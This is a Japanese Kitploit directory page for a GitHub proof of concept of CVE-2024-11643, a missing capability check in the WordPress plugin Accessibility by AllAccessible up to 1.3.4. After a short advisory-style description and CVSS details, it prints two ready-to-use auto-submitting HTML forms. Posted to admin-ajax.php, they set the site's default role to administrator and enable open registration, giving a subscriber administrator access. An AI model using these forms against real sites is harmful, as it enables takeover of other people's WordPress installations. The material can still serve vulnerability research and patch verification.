Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-11643 — Accessibility by AllAccessible <= 1.3.4 - 認証済み(Subscriber+)による任意のオプション更新に対する認可の欠如 | Kitploit
ツール/GitHubGitHub/randomrobbiebf/cve-2024-11643
認証と認可特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubrandomrobbiebf/cve-2024-11643

CVE-2024-11643

Accessibility by AllAccessible <= 1.3.4 - 認証済み(Subscriber+)による任意のオプション更新に対する認可の欠如

リポジトリを見る
1年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-11643

Accessibility by AllAccessible <= 1.3.4 - 認証済み(購読者以上)による任意のオプション更新への認可不足

説明

WordPress用プラグインAccessibility by AllAccessibleは、バージョン1.3.4までのすべてのバージョンにおいて、'AllAccessible_save_settings'関数に能力チェックが欠如しているため、データの不正な変更が可能であり、権限昇格につながる脆弱性があります。これにより、購読者レベル以上のアクセス権を持つ認証済み攻撃者が、WordPressサイト上の任意のオプションを更新できるようになります。これを利用して、デフォルトの登録ロールを管理者に変更し、ユーザー登録を有効にすることで、攻撃者は脆弱なサイトへの管理者ユーザーアクセスを取得できます。

詳細

  • タイプ: plugin
  • 影響を受けるバージョン: 1.3.4
  • CVSSスコア: 8.8
  • CVSS評価: 高
  • CVSSベクター: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CVE: CVE-2024-11643
  • ステータス: Active

POC

購読者としてログインし、これらのフォームを使用して管理者のデフォルトロールを設定し、次にユーザー登録を有効にします。

デフォルトロール管理者

root@kitploit:~
<html>
  <body>
    <form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="AllAccessible&#95;save&#95;settings" />
      <input type="hidden" name="opt&#95;name" value="default&#95;role" />
      <input type="hidden" name="opt&#95;value" value="administrator" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

ユーザー登録可能

root@kitploit:~
<html>
  <body>
    <form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="AllAccessible&#95;save&#95;settings" />
      <input type="hidden" name="opt&#95;name" value="users&#95;can&#95;register" />
      <input type="hidden" name="opt&#95;value" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
ツールをダウンロード